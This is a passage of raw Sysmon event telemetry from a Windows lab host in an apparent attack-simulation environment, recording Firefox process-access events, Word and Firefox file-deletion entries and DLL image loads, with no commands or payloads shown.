14:58:24.870{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=58F50A83A172AD869BEEF085D35134C4,SHA256=E8FD9C7BBC040B9BF544E7F2DF88D3C9AACA30CB6504C1AF0E4FE6C2D4D08E7E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000050578Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.839{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+894e91|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050577Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.839{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+894e91|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050576Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.824{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050575Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.824{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050574Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.808{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+894e91|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050573Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.808{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+894e91|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050572Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.808{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+894e91|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050571Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.808{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+894e91|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050570Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.806{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+894e91|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050569Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.806{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+894e91|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000050568Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.786{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Local\Microsoft\Office\OTele\winword.exe.db-journalMD5=9EFF03B80FF5DF0A811ACC8AD142CE2F,SHA256=931D8EC76D3E58980E1E4E47B42D85A667F6B9C6E9A933BCEFA24D8F66C11E05,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000050567Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.786{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+894e91|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050566Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.786{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+894e91|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000050565Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.786{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Local\Microsoft\Office\OTele\winword.exe.db-journalMD5=15C9BA288C3EFB20B1800D129523D61C,SHA256=1608D02DFEDEF6225E33C5227519ACAD483B84DD5274E4F6C8DCC7735693E804,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000050564Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.786{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050563Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.786{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050562Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.771{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\Windows.Networking.Connectivity.dll10.0.14393.4169 (rs1_release.210107-1130)Windows Networking Connectivity Runtime DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.Networking.Connectivity.dllMD5=7934F613774F04B5BFD097B3D77F81FB,SHA256=E1A32AADFED0859269C89D4E1C961D3BC8EA2A5FA86487C9817BB52899E0F60E,IMPHASH=A22E7FE596D3FD4304E9006454C5249BtrueMicrosoft WindowsValid 23542300x800000000000000050561Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.771{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=B454DD747196B2FB3BD3A8B3CE043C5E,SHA256=7A093C16F741F997975AF6430678CBA47A462F39308EC8A139C3881B113D9CBE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050560Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.771{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=523FC49E2135106AA9333A4C629A9548,SHA256=40026FD04CC9FF4B63AC93735189F516D27FFBCEBD84112506747B2D2A98B7EC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050559Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.771{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=1EFC0D31702994A89452A52E1867A7A7,SHA256=F32D8CB9B295B9D10FC69EC6821F3045423D5D2C47E9C6F462C950D1F31DBD4E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000050558Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.771{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\taskschd.dll10.0.14393.4402 (rs1_release.210426-1725)Task Scheduler COM APIMicrosoft® Windows® Operating SystemMicrosoft Corporationtaskschd.dllMD5=76BF5CA81C749140E05C7519B13B299E,SHA256=D5CBDB2EEE67E582198F9DB213EC95DF9107F08D646E67FFA723066CC434B515,IMPHASH=2C7BF5CADC559377391AFDF385763E3CtrueMicrosoft WindowsValid 23542300x800000000000000050557Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.771{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=32360E0F3404C59A4C03B1EA73F71756,SHA256=DE6BB6CCD80922DBF27B7DC0B4A30F316B8A913218F11495419BCA45EFFFC543,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050556Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.755{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=5389EECD5FFA90FA5588E77D32D6FC88,SHA256=281649CC599BE8B0AB8E2ACF3776D1C65AEFF993287E5D4972DB0B3ACEA78E05,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050555Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.755{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=778B3518329B8679635379DCD002E7A7,SHA256=45BDD80DCEC687EDEF78AA4FD77A84B37C316960B2D1662DFE1EECCA22E13C34,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050554Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.755{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=B64D15AA993E934CBFF6BE5E908527A1,SHA256=52F2B257F900690707E4EFEACA9078501E20891CE7DD48338586E60464C23EF4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050553Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.755{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=925E4706EDEC133E3E20D696C15E1470,SHA256=DE77A8DFBA91D5D836328897BC7035410CEB4483E688274DC335FC82A349AAE4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050552Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.755{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=B2C970AF2C158BA98E36BAA1A3A11F1E,SHA256=C0D83AD6F43D6DEF781A5D85556F7405D2A9B41F4A2250BE86A7221A4F48AA6E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050551Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.755{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=47996ED4BE57E7F8CF752A4F8ACDB511,SHA256=0A8985FBE7EB4C5A1E1B51B28AE3B99BAE928E78B14B6505527310B13E33DBFA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050550Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.755{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=BC14043E5F5F7FE708E9EB1894F2F2A5,SHA256=A829A2A4DA51B5886C0F4989F8FF543D6FDCE3EA79F940C43AA8145967EA152A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050549Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.755{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla 